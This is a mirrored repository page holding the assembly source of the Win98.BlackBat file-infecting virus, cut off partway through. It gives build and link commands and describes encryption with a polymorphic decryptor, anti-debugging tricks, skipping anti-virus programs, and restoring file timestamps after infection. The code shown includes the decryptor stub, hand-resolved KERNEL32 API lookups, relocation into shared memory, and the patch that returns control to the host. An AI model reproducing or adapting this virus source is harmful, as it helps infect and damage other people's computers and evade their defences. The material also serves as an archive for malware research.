mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
1937 lines
73 KiB
NASM
1937 lines
73 KiB
NASM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | \|/ Win98.BlackBat | |
|
|
;| | (. .) ================ | |
|
|
;| | ( | ) | |
|
|
;| | ( v ) (c) 1999, Rohitab Batra | |
|
|
;| | __| |__ <sourcecode@rohitab.com> | |
|
|
;| | // \\ ICQ: 11153794 | |
|
|
;| | // ^ | |
|
|
;| | ((====> http://www.rohitab.com | |
|
|
;| | | |
|
|
;| | Discussion Forum: http://www.rohitab.com/discuss/ | |
|
|
;| | Mailing List: http://www.rohitab.com/mlist/ | |
|
|
;| | | |
|
|
;| | | |
|
|
;| |"Blessed is he who expects nothing, for he shall not be disappointed" | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
;
|
|
;Compiling (Turbo Assembler)
|
|
; c:\>tasm32 /ml /m3 /t /w2 /s /p /dDEBUG=1 BlackBat
|
|
;
|
|
;Setting DEBUG=0 will compile the virus in Release mode. In this mode, an error
|
|
;message will be displayed, so that you don't accidently compile in release mode.
|
|
;In Release mode, the size of the Virus will be smaller, and .EXE files will be
|
|
;infected, instead of .XYZ files. In Debug mode, the file NOTEPAD.EXE, if found
|
|
;in the current directory, will be infected.
|
|
;
|
|
;Linking (Turbo Linker)
|
|
; c:\>tlink32 /x /Tpe /aa /c BlackBat,BlackBat,,IMPORT32.LIB
|
|
;
|
|
;Making Code Section Writable (EditBin from SDK, or any other utility)
|
|
; c:\>editbin /SECTION:CODE,w BlackBat.EXE
|
|
;
|
|
;***** Info About the Virus *****
|
|
;* If WIN.SYS is found in the root directory, the virus does not infect any file,
|
|
; and does not become resident.
|
|
;* File time and attributes are restored after infection
|
|
;* Encrypted with a random key
|
|
;* Doesn't infect anti-virus files, NAV, TBAV, SCAN, CLEAN, F-PROT
|
|
;* Anti-Debugging Code
|
|
;* Structured Exception Handling
|
|
;* Decryption engine is Polymorphic
|
|
;
|
|
;***** TODO *****
|
|
;1. Dont infect files with todays date
|
|
;2. Draw Random Bats on the Screen (Use CreateCompatibleBitmap & Get/Set Pixel)
|
|
;3. Doesn't infect files in directories with long file names
|
|
|
|
.386p
|
|
.model flat ,stdcall
|
|
EXTRN ExitProcess:PROC ;Any Imported Fn, so that the first
|
|
;generation copy executes without crashing
|
|
.data
|
|
DB ? ;Required for TASM, Else will Crash !!??
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @MESSAGE_BOX Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Displays a MessageBox with the given Message. Note the caption of
|
|
; the MessageBox is the same as the Message
|
|
;
|
|
; Arguments
|
|
; -> szMessage: Message to be displayed
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> ALL
|
|
;___________________________
|
|
@MESSAGE_BOX MACRO szMessage
|
|
IF DEBUG
|
|
@DELTA esi
|
|
mov eax, esi
|
|
add eax, offset szMessage
|
|
call esi + MessageBoxA, 0, eax, eax, MB_OK OR MB_ICONINFORMATION
|
|
ENDIF
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @DEFINE_API Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Defines an API that will be called by the Virus. The macro is expanded
|
|
; to the following, if APIName is MessageBoxA:
|
|
; szMessageBoxA DB "MessageBoxA", 0
|
|
; MessageBoxA DD ?
|
|
;
|
|
; Arguments
|
|
; -> APIName: API to be defined. MUST BE EXACTLY the same as exported by
|
|
; the DLL. e.g. MessageBoxA
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> None
|
|
;
|
|
;________________________
|
|
@DEFINE_API MACRO APIName
|
|
sz&APIName DB "&APIName", 0 ;;ASCIIZ Name of API
|
|
&APIName DD ? ;;Storage space for API Address
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @DELTA Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Returns the delta offset in the specified register
|
|
;
|
|
; Arguments
|
|
; -> Register: register in which the value of the delta offset is copied
|
|
;
|
|
; Return Value:
|
|
; -> Register: Delta Offset
|
|
;
|
|
; Registers Destroyed
|
|
; -> Register
|
|
;
|
|
;____________________
|
|
@DELTA MACRO Register
|
|
LOCAL GetIP
|
|
call GetIP ;;This will push EIP on the stack
|
|
GetIP:
|
|
pop Register ;;get EIP of current instruction
|
|
sub Register, offset GetIP ;;Delta Offset
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @OFFSET Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Returns the true offset of the specified address. Unlike the offset
|
|
; keyword, which calculates the address at assembly time, this macro
|
|
; calculates the address at run-time. This is used to get the correct
|
|
; offset when the virus has been relocated. Instead of using instructions
|
|
; like "mov esi, offset szFilename", use "@OFFSET esi, szFilename"
|
|
;
|
|
; Arguments
|
|
; -> Register: register in which the offset is to be returned
|
|
; -> Expression: expression whose offset is required
|
|
;
|
|
; Return Value:
|
|
; -> Register: Correct offset of Expression
|
|
;
|
|
; Registers Destroyed
|
|
; -> Register
|
|
;
|
|
;_________________________________
|
|
@OFFSET MACRO Register, Expression
|
|
LOCAL GetIP
|
|
call GetIP ;;This will push EIP on the stack
|
|
GetIP:
|
|
pop Register ;;get EIP of current instruction
|
|
add Register, offset Expression - offset GetIP ;;True offset
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @GET_API_ADDRESS Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Gets the address of the API, and stores it
|
|
;
|
|
; Arguments
|
|
; -> APIName: API whose address is required
|
|
; -> ESI: Delta Offset
|
|
; -> EBX: Address of GetProcAddress(...)
|
|
; -> ECX: Base address of DLL which exports the API
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> All Except ESI, EBX and ECX
|
|
;
|
|
;_____________________________
|
|
@GET_API_ADDRESS MACRO APIName
|
|
push ebx ;;Save Addr of GetProcAddress(...)
|
|
push ecx ;;Save Image Base
|
|
|
|
mov eax, esi
|
|
add eax, offset sz&APIName ;;API whose address is required
|
|
call ebx, ecx, eax ;;GetProcAddress(...)
|
|
|
|
pop ecx ;;Restore Image Base
|
|
pop ebx ;;Restore Addr of GetProcAddress(...)
|
|
|
|
mov [esi + APIName], eax ;;Save API Address
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @TRY_BEGIN, @TRY_EXCEPT and @TRY_END Exception Handling Macros | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> @TRY_BEGIN: This macro is used to install the exception handler. The
|
|
; code that follows this is the one that is checked for
|
|
; exceptions
|
|
; @TRY_EXCEPT: The code that follows this is executed if an exception
|
|
; occurs.
|
|
; @TRY_END: This is used to mark the end of the TRY block
|
|
;
|
|
; Example
|
|
; @TRY_BEGIN ZeroMemory
|
|
; <CODE1: Code to check for exceptions goes here>
|
|
; @TRY_CATCH ZeroMemory
|
|
; <CODE2: Gets executed if an exception occurs in CODE1>
|
|
; @TRY_END ZeroMemory
|
|
;
|
|
; Arguments
|
|
; -> Handler: Name of the exception handler. MUST BE UNIQUE throughout the
|
|
; program
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> If an exception occurs, all registers are restored to the state before
|
|
; the @TRY_BEGIN block, otherwise, no registers are modified
|
|
;_______________________
|
|
@TRY_BEGIN MACRO Handler
|
|
pushad ;;Save Current State
|
|
@OFFSET esi, Handler ;;Address of New Exception Handler
|
|
push esi
|
|
push dword ptr fs:[0] ;;Save Old Exception Handler
|
|
mov dword ptr fs:[0], esp ;;Install New Handler
|
|
ENDM
|
|
|
|
@TRY_EXCEPT MACRO Handler
|
|
jmp NoException&Handler ;;No Exception Occured, so jump over
|
|
Handler:
|
|
mov esp, [esp + 8] ;;Exception Occured, Get old ESP
|
|
pop dword ptr fs:[0] ;;Restore Old Exception Handler
|
|
add esp, 4 ;;ESP value before SEH was set
|
|
popad ;;Restore Old State
|
|
ENDM
|
|
|
|
@TRY_END MACRO Handler
|
|
jmp ExceptionHandled&Handler ;;Exception was handled by @TRY_EXCEPT
|
|
NoException&Handler: ;;No Exception Occured
|
|
pop dword ptr fs:[0] ;;Restore Old Exception Handler
|
|
add esp, 32 + 4 ;;ESP value before SEH was set. 32 for pushad and ...
|
|
;;...4 for push offset Handler. (No Restore State)
|
|
ExceptionHandled&Handler: ;;Exception has been handled, or no exception occured
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | @CALL_INT21h Macro | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Makes an INT 21h Call in Protected Mode
|
|
;
|
|
; Arguments
|
|
; -> Service: INT 21h Service Number
|
|
;
|
|
; Return Value:
|
|
; -> None
|
|
;
|
|
; Registers Destroyed
|
|
; -> Depends on Service called
|
|
;_________________________
|
|
@CALL_INT21h MACRO Service
|
|
mov eax, Service ;;INT 21h Service
|
|
@DELTA esi
|
|
call esi + VxDCall, VWIN32_Int21Dispatch, eax, ecx
|
|
ENDM
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | Constants | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
;Win32 Constants
|
|
PAGE_READWRITE EQU 00000004h
|
|
IMAGE_READ_WRITE_EXECUTE EQU 0E0000000h
|
|
IMAGE_SCN_MEM_SHARED EQU 10000000h ;Section is Sharable
|
|
IMAGE_FILE_DLL EQU 2000h ;File is a DLL
|
|
FILE_MAP_ALL_ACCESS EQU 000F001Fh
|
|
IMAGE_SIZEOF_NT_SIGNATURE EQU 04h ;PE00 = 0x00004550, 4 bytes
|
|
NULL EQU 0
|
|
TRUE EQU 1
|
|
FALSE EQU 0
|
|
|
|
;File Access
|
|
GENERIC_READ EQU 80000000h ;Access Mode Read Only
|
|
GENERIC_WRITE EQU 40000000h ;Access Mode Write Only
|
|
FILE_SHARE_READ EQU 00000001h ;Open Share, Deny Write
|
|
FILE_SHARE_WRITE EQU 00000002h ;Open Share, Deny Read
|
|
INVALID_HANDLE_VALUE EQU -1
|
|
ERROR_ALREADY_EXISTS EQU 000000B7h
|
|
FILE_ATTRIBUTE_NORMAL EQU 00000080h
|
|
OPEN_EXISTING EQU 3 ;Fail if not found
|
|
|
|
;Shutdown Options
|
|
EWX_FORCE EQU 4
|
|
EWX_SHUTDOWN EQU 1
|
|
|
|
;MessageBox
|
|
MB_OK EQU 00000000h
|
|
MB_YESNO EQU 00000004h
|
|
MB_ICONINFORMATION EQU 00000040h
|
|
|
|
;Virus_Constants
|
|
@BREAK EQU int 3
|
|
;MAX_RUN_TIME EQU 5*60*60*1000 ;Time we allow windows to run, 5hrs
|
|
VIRUS_SIGNATURE EQU 08121975h ;My B'day, 8 Dec 1975
|
|
RESIDENCY_CHECK_SERVICE EQU 0AD75h ;Used to check if Virus is resident
|
|
RESIDENCY_SUCCESS EQU 0812h ;Value returned if Virus is resident
|
|
|
|
;VxD Stuff
|
|
VWIN32_Int21Dispatch EQU 002A0010h
|
|
LFN_OPEN_FILE_EXTENDED EQU 716Ch
|
|
PC_WRITEABLE EQU 00020000h
|
|
PC_USER EQU 00040000h
|
|
PR_SHARED EQU 80060000h
|
|
PC_PRESENT EQU 80000000h
|
|
PC_FIXED EQU 00000008h
|
|
PD_ZEROINIT EQU 00000001h
|
|
SHARED_MEMORY EQU 80000000h ;Anything above this is shared
|
|
PageReserve EQU 00010000h
|
|
PageCommit EQU 00010001h
|
|
PAGE_SIZE EQU 4096 ;Size of a Page in Win9x
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | Structures | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
FILETIME STRUC
|
|
FT_dwLowDateTime DD ?
|
|
FT_dwHighDateTime DD ?
|
|
FILETIME ENDS
|
|
|
|
IMAGE_DOS_HEADER STRUC ;DOS .EXE header
|
|
IDH_e_magic DW ? ;Magic number
|
|
IDH_e_cblp DW ? ;Bytes on last page of file
|
|
IDH_e_cp DW ? ;Pages in file
|
|
IDH_e_crlc DW ? ;Relocations
|
|
IDH_e_cparhdr DW ? ;Size of header in paragraphs
|
|
IDH_e_minalloc DW ? ;Minimum extra paragraphs needed
|
|
IDH_e_maxalloc DW ? ;Maximum extra paragraphs needed
|
|
IDH_e_ss DW ? ;Initial (relative) SS value
|
|
IDH_e_sp DW ? ;Initial SP value
|
|
IDH_e_csum DW ? ;Checksum
|
|
IDH_e_ip DW ? ;Initial IP value
|
|
IDH_e_cs DW ? ;Initial (relative) CS value
|
|
IDH_e_lfarlc DW ? ;File address of relocation table
|
|
IDH_e_ovno DW ? ;Overlay number
|
|
IDH_e_res DW 4 DUP (?) ;Reserved words
|
|
IDH_e_oemid DW ? ;OEM identifier (for IDH_e_oeminfo)
|
|
IDH_e_oeminfo DW ? ;OEM information; IDH_e_oemid specific
|
|
IDH_e_res2 DW 10 DUP (?) ;Reserved words
|
|
IDH_e_lfanew DD ? ;File address of new exe header
|
|
IMAGE_DOS_HEADER ENDS
|
|
|
|
IMAGE_FILE_HEADER STRUC
|
|
IFH_Machine DW ? ;System that the binary is intended to run on
|
|
IFH_NumberOfSections DW ? ;Number of sections that follow headers
|
|
IFH_TimeDateStamp DD ? ;Time/Date the file was created on
|
|
IFH_PointerToSymbolTable DD ? ;Used for debugging information
|
|
IFH_NumberOfSymbols DD ? ;Used for debugging information
|
|
IFH_SizeOfOptionalHeader DW ? ;sizof(IMAGE_OPTIONAL_HEADER)
|
|
IFH_Characteristics DW ? ;Flags used mostly for libraries
|
|
IMAGE_FILE_HEADER ENDS
|
|
|
|
IMAGE_DATA_DIRECTORY STRUC
|
|
IDD_VirtualAddress DD ?
|
|
IDD_Size DD ?
|
|
IMAGE_DATA_DIRECTORY ENDS
|
|
|
|
IMAGE_OPTIONAL_HEADER STRUC
|
|
;Standard Fields
|
|
IOH_Magic DW ? ;Mostly 0x010B
|
|
IOH_MajorLinkerVersion DB ? ;Version of the linker used
|
|
IOH_MinorLinkerVersion DB ? ;Version of the linker used
|
|
IOH_SizeOfCode DD ? ;Size of executable code
|
|
IOH_SizeOfInitializedData DD ? ;Size of Data Segment
|
|
IOH_SizeOfUninitializedData DD ? ;Size of bss Segment
|
|
IOH_AddressOfEntryPoint DD ? ;RVA of code entry point
|
|
IOH_BaseOfCode DD ? ;Offset to executable code
|
|
IOH_BaseOfData DD ? ;Offset to initialized data
|
|
;NT Additional Fields
|
|
IOH_ImageBase DD ? ;Preferred load address
|
|
IOH_SectionAlignment DD ? ;Alignment of Sections in RAM
|
|
IOH_FileAlignment DD ? ;Alignment of Sections in File
|
|
IOH_MajorOperatingSystemVersion DW ? ;OS Version required to run this image
|
|
IOH_MinorOperatingSystemVersion DW ? ;OS Version required to run this image
|
|
IOH_MajorImageVersion DW ? ;User specified version number
|
|
IOH_MinorImageVersion DW ? ;User specified version number
|
|
IOH_MajorSubsystemVersion DW ? ;Expected Subsystem version
|
|
IOH_MinorSubsystemVersion DW ? ;Expected Subsystem version
|
|
IOH_Win32VersionValue DD ? ;Mostly set to 0
|
|
IOH_SizeOfImage DD ? ;Amount of memory the image will need
|
|
IOH_SizeOfHeaders DD ? ;Size of DOS hdr, PE hdr and Object table
|
|
IOH_CheckSum DD ? ;Checksum (Used by NT to check drivers)
|
|
IOH_Subsystem DW ? ;Subsystem required to run this image
|
|
IOH_DllCharacteristics DW ? ;To decide when to call DLL's entry point
|
|
IOH_SizeOfStackReserve DD ? ;Size of Reserved Stack
|
|
IOH_SizeOfStackCommit DD ? ;Size of initially commited stack
|
|
IOH_SizeOfHeapReserve DD ? ;Size of local heap to reserve
|
|
IOH_SizeOfHeapCommit DD ? ;Amount to commit in local heap
|
|
IOH_LoaderFlags DD ? ;Not generally used
|
|
IOH_NumberOfRvaAndSizes DD ? ;Number of valid entries in DataDirectory
|
|
IOH_DataDirectory IMAGE_DATA_DIRECTORY 16 DUP (?)
|
|
IMAGE_OPTIONAL_HEADER ENDS
|
|
|
|
IMAGE_EXPORT_DIRECTORY STRUC
|
|
IED_Characteristics DD ? ;Currently set to 0
|
|
IED_TimeDateStamp DD ? ;Time/Date the export data was created
|
|
IED_MajorVersion DW ? ;User settable
|
|
IED_MinorVersion DW ?
|
|
IED_Name DD ? ;RVA of DLL ASCIIZ name
|
|
IED_Base DD ? ;First valid exported ordinal
|
|
IED_NumberOfFunctions DD ? ;Number of entries
|
|
IED_NumberOfNames DD ? ;Number of entries exported by name
|
|
IED_AddressOfFunctions DD ? ;RVA of export address table
|
|
IED_AddressOfNames DD ? ;RVA of export name table pointers
|
|
IED_AddressOfNameOrdinals DD ? ;RVA of export ordinals table entry
|
|
IMAGE_EXPORT_DIRECTORY ENDS
|
|
|
|
IMAGE_SECTION_HEADER STRUC
|
|
ISH_Name DB 8 DUP (?) ;NULL padded ASCII string
|
|
UNION
|
|
ISH_PhysicalAddress DD ?
|
|
ISH_VirtualSize DD ? ;Size that will be allocated when obj is loaded
|
|
ENDS
|
|
ISH_VirtualAddress DD ? ;RVA to section's data when loaded in RAM
|
|
ISH_SizeOfRawData DD ? ;Size of sections data rounded to FileAlignment
|
|
ISH_PointerToRawData DD ? ;Offset from files beginning to sections data
|
|
ISH_PointerToRelocations DD ?
|
|
ISH_PointerToLinenumbers DD ?
|
|
ISH_NumberOfRelocations DW ?
|
|
ISH_NumberOfLinenumbers DW ?
|
|
ISH_Characteristics DD ? ;Flags to decide how section should be treated
|
|
IMAGE_SECTION_HEADER ENDS
|
|
|
|
SYSTEMTIME STRUC
|
|
ST_wYear DW ?
|
|
ST_wMonth DW ?
|
|
ST_wDayOfWeek DW ?
|
|
ST_wDay DW ?
|
|
ST_wHour DW ?
|
|
ST_wMinute DW ?
|
|
ST_wSecond DW ?
|
|
ST_wMilliseconds DW ?
|
|
SYSTEMTIME ENDS
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | Virus Entry Point | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
.code
|
|
;Decryptor
|
|
StartOfVirusCode:
|
|
call GetDelta
|
|
GetDelta:
|
|
DB 5Eh ;pop esi
|
|
DB 83h ;add esi, EncryptedVirusCode - GetDelta
|
|
DB 0C6h
|
|
DB offset EncryptedVirusCode - offset GetDelta
|
|
DB 0B9h ;mov ecx, ENCRYPTED_SIZE
|
|
DD ENCRYPTED_SIZE
|
|
DecryptByte:
|
|
DB 80h ;xor byte ptr [esi], 00h
|
|
DB 36h
|
|
EncryptionKey:
|
|
DB 00h
|
|
DB 46h ;inc esi
|
|
DB 49h ;dec ecx
|
|
jnz DecryptByte
|
|
|
|
EncryptedVirusCode: ;Code from this point is encrypted
|
|
jmp WinMain ;Goto Main Program
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | Data Area | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
dwKernelBase EQU 0BFF70000h ;Base address of KERNEL32.DLL
|
|
dwUserBase DD ? ;Base address of USER32.DLL
|
|
szUser32DLL DB "USER32", 0 ;.DLL Extention is not required
|
|
|
|
;Host File Variables
|
|
hHostFile DD ? ;Handle of host file
|
|
hMappedFile DD ? ;Handle of mapped host file
|
|
lpHostFile DD ? ;Pointer to mapped host file in memory
|
|
ftLastAccessTime FILETIME ? ;Time the file was last accessed
|
|
ftLastWriteTime FILETIME ? ;Time the file was last written to
|
|
dwFileAttributes DD ? ;File attributes of host file
|
|
;Virus Variables
|
|
szNoInfectFileName DB "C:\WIN.SYS", 0 ;If this file exists, machine is not infected
|
|
|
|
;VxD Stuff
|
|
OldInt30 DB 6 DUP (0)
|
|
VxDCall_Busy DB ? ;Semaphore
|
|
szOutputFile DB "C:\VIRUS.TXT", 0
|
|
|
|
;KERNEL32 API's
|
|
VxDCall DD ? ;Exported by ordinal only (Ord 1)
|
|
@DEFINE_API GetProcAddress
|
|
@DEFINE_API CloseHandle
|
|
@DEFINE_API CreateFileA
|
|
@DEFINE_API CreateFileMappingA
|
|
@DEFINE_API GetFileAttributesA
|
|
@DEFINE_API GetFileSize
|
|
@DEFINE_API GetFileTime
|
|
@DEFINE_API GetLocalTime
|
|
@DEFINE_API GetTickCount
|
|
@DEFINE_API LoadLibraryA
|
|
@DEFINE_API MapViewOfFile
|
|
@DEFINE_API SetFileAttributesA
|
|
@DEFINE_API SetFileTime
|
|
@DEFINE_API UnmapViewOfFile
|
|
|
|
;USER32 API's
|
|
@DEFINE_API ExitWindowsEx
|
|
IF DEBUG
|
|
@DEFINE_API MessageBoxA
|
|
ENDIF
|
|
|
|
;DEBUG Only Stuff
|
|
IF DEBUG
|
|
szHostFileName DB "NOTEPAD.EXE",0
|
|
szWinMainHandler DB "Unhandled Exception in WinMain", 0
|
|
szPayLoad DB "Happy BirthDay :-)", 0
|
|
szInfected DB "This File is Infected by the BlackBat Virus", 0
|
|
ENDIF
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | WinMain | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
WinMain PROC
|
|
IFE DEBUG ;Only for Release Versions
|
|
cli
|
|
not esp ;Anti-Debug Code ...
|
|
not esp ;...will crash if single-stepped
|
|
sti
|
|
ENDIF
|
|
|
|
@TRY_BEGIN WinMain_Handler ;Putting code in protected block
|
|
call IsVirusActive
|
|
test eax, eax ;Virus Resident ?
|
|
jne End_WinMain ;Yes, return to host
|
|
|
|
;Get Addresses of all Required API's
|
|
call GetAPIAddresses ;Get the addresses of the other API's
|
|
test eax, eax ;Error occured ?
|
|
jz End_WinMain ;Transfer control to host
|
|
|
|
IF DEBUG
|
|
@MESSAGE_BOX szInfected
|
|
@OFFSET ebx, szHostFileName
|
|
call InfectFile, ebx
|
|
ENDIF
|
|
|
|
;Check if this Machine is to be Infected
|
|
call CanMachineBeInfected ;Is this my machine
|
|
test eax, eax
|
|
jz End_WinMain ;Yes, so don't infect
|
|
|
|
;Relocate Virus (Make Resident)
|
|
call RelocateVirus
|
|
or eax, eax ;Virus Relocated?
|
|
je End_WinMain ;No
|
|
|
|
;Jump to Relocated Virus Copy
|
|
@OFFSET ebx, StartOfVirusCode ;Start of Virus in Non-Relocated Copy
|
|
add eax, offset RelocatedVirus - offset StartOfVirusCode
|
|
jmp eax ;Control will go to Relocated Copy
|
|
|
|
;This part is the Relocated Copy of the Virus in Shared Memory
|
|
RelocatedVirus:
|
|
;When a file is infected, the CALL instruction at label ReturnToHost is
|
|
;replaced by a JMP XXXXXXXX instruction. Since the virus has been relocated,
|
|
;this JMP instruction will point to some invalid location. We need to modify
|
|
;this, so that the JMP points to the host program (which was not relocated)
|
|
|
|
;The offset of Calculate_Offset_Instruction in the non-relocated virus was
|
|
;saved in EBX before jumping here. Now we calculate the offset in the relocated
|
|
;virus (this copy).
|
|
|
|
@DELTA eax
|
|
mov esi, eax ;Save Delta Offset
|
|
add eax, offset StartOfVirusCode ;Start of Virus in Relocated Copy
|
|
sub eax, ebx ;Difference in offsets
|
|
|
|
;We now subtract this difference from the offset specified in the JMP
|
|
;instruction, and update the JMP instruction to point to the correct location
|
|
;in memory
|
|
|
|
add esi, offset ReturnToHost + 1 ;Point to operand of JMP instruction
|
|
sub [esi], eax ;Fix JMP instruction
|
|
|
|
call InstallHookProcedure
|
|
|
|
End_WinMain:
|
|
@TRY_EXCEPT WinMain_Handler
|
|
@MESSAGE_BOX szWinMainHandler
|
|
@TRY_END WinMain_Handler
|
|
|
|
ReturnToHost:
|
|
DB 0E9h, 00, 00, 00, 00 ;JMP instruction used for passing control
|
|
;to the host. The address of this JMP
|
|
;instruction is calculated at run-time
|
|
;ret ;Not required, since control is transfered to host
|
|
WinMain ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | GetAPIAddresses | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Finds the Address of the API's to be used by the virus
|
|
;
|
|
; Arguments
|
|
; -> None
|
|
;
|
|
; Return Value:
|
|
; -> EAX: 1, if the API addresses were found, 0 otherwise
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;___________________
|
|
GetAPIAddresses PROC
|
|
call GetAddressOfKernelAPI, 1 ;Get Address Of GetProcAddress
|
|
test eax, eax ;Found Address ?
|
|
jz End_GetAPIAddresses ;No, Return 0
|
|
|
|
;Get addresses of all required KERNEL32 API's
|
|
;ESI = Delta Offset
|
|
;EBX = Address of GetProcAddress(...)
|
|
;ECX = Image Base of KERNEL32.DLL
|
|
@DELTA esi
|
|
mov ebx, eax ;Address of GetProcAddress(...)
|
|
mov ecx, dwKernelBase ;Base address of KERNEL32.DLL
|
|
@GET_API_ADDRESS CloseHandle
|
|
@GET_API_ADDRESS CreateFileA
|
|
@GET_API_ADDRESS CreateFileMappingA
|
|
@GET_API_ADDRESS GetFileAttributesA
|
|
@GET_API_ADDRESS GetFileSize
|
|
@GET_API_ADDRESS GetFileTime
|
|
@GET_API_ADDRESS GetLocalTime
|
|
@GET_API_ADDRESS GetTickCount
|
|
@GET_API_ADDRESS LoadLibraryA
|
|
@GET_API_ADDRESS MapViewOfFile
|
|
@GET_API_ADDRESS SetFileAttributesA
|
|
@GET_API_ADDRESS SetFileTime
|
|
@GET_API_ADDRESS UnmapViewOfFile
|
|
|
|
;Load USER32.DLL
|
|
push ebx ;Save address of GetProcAddress(...)
|
|
|
|
mov eax, esi ;Delta Offset
|
|
add eax, offset szUser32DLL ;Name of DLL to be loaded
|
|
call esi + LoadLibraryA, eax
|
|
mov ecx, eax ;Base address of USER32.DLL
|
|
|
|
pop ebx ;Restore address of GetProcAddress(...)
|
|
|
|
;Get addresses of all required USER32 API's
|
|
;ESI = Delta Offset
|
|
;EBX = Address of GetProcAddress(...)
|
|
;ECX = Image Base of USER32.DLL
|
|
|
|
@GET_API_ADDRESS ExitWindowsEx
|
|
IF DEBUG
|
|
@GET_API_ADDRESS MessageBoxA
|
|
ENDIF
|
|
|
|
End_GetAPIAddresses:
|
|
ret
|
|
GetAPIAddresses ENDP
|
|
;+----------------------------------------------------------------------------+
|
|
;| +------------------------------------------------------------------------+ |
|
|
;| | | |
|
|
;| | GetAddressOfKernelAPI | |
|
|
;| | | |
|
|
;| +------------------------------------------------------------------------+ |
|
|
;+----------------------------------------------------------------------------+
|
|
; Description
|
|
; -> Finds the address of GetProcAddress or VxDCall API in KERNEL32.DLL. The
|
|
; VxDCall API is exported by ordinal only, and the GetProcAddress is
|
|
; exported by name.
|
|
;
|
|
; Arguments
|
|
; -> EDX: offset of the program <---- NOT USED ANYMORE ???
|
|
; -> gaoka_wAPIName: If 0, the address of VxDCall is Returned. Else, the address
|
|
; of GetProcAddress is returned.
|
|
;
|
|
; Return Value:
|
|
; -> EAX: Address of the Required API if Found, Else NULL
|
|
;
|
|
; Registers Destroyed
|
|
; -> All
|
|
;______________________________
|
|
GetAddressOfKernelAPI PROC gaoka_wAPIName:WORD
|
|
LOCAL lpdwAddressOfFunctions:DWORD, \
|
|
lpdwAddressOfNames:DWORD, \
|
|
lpwAddressOfNameOrdinals: WORD, \
|
|
dwVAIED:DWORD
|
|
|
|
;Get File Headers
|
|
call GetFileHeaders, dwKernelBase
|
|
test eax, eax ;Successfully Retreived Headers?
|
|
je End_GetAddressOfKernelAPI ;No, probably Windows NT / 2000
|
|
mov [dwVAIED], edx
|
|
mov esi, dwKernelBase
|
|
|
|
;Get Address of Functions
|
|
mov ecx, [dwVAIED]
|
|
mov eax, (IMAGE_EXPORT_DIRECTORY [ecx]).IED_AddressOfFunctions
|
|
add eax, esi ;VA of Address of functions
|
|
mov dword ptr [lpdwAddressOfFunctions], eax
|
|
|
|
;Check which API is Required
|
|
cmp [gaoka_wAPIName], 0 ;Return Address of VxDCall or GetProcAddress ?
|
|
jne GetProcAddressRequired ;GetProcAddress
|
|
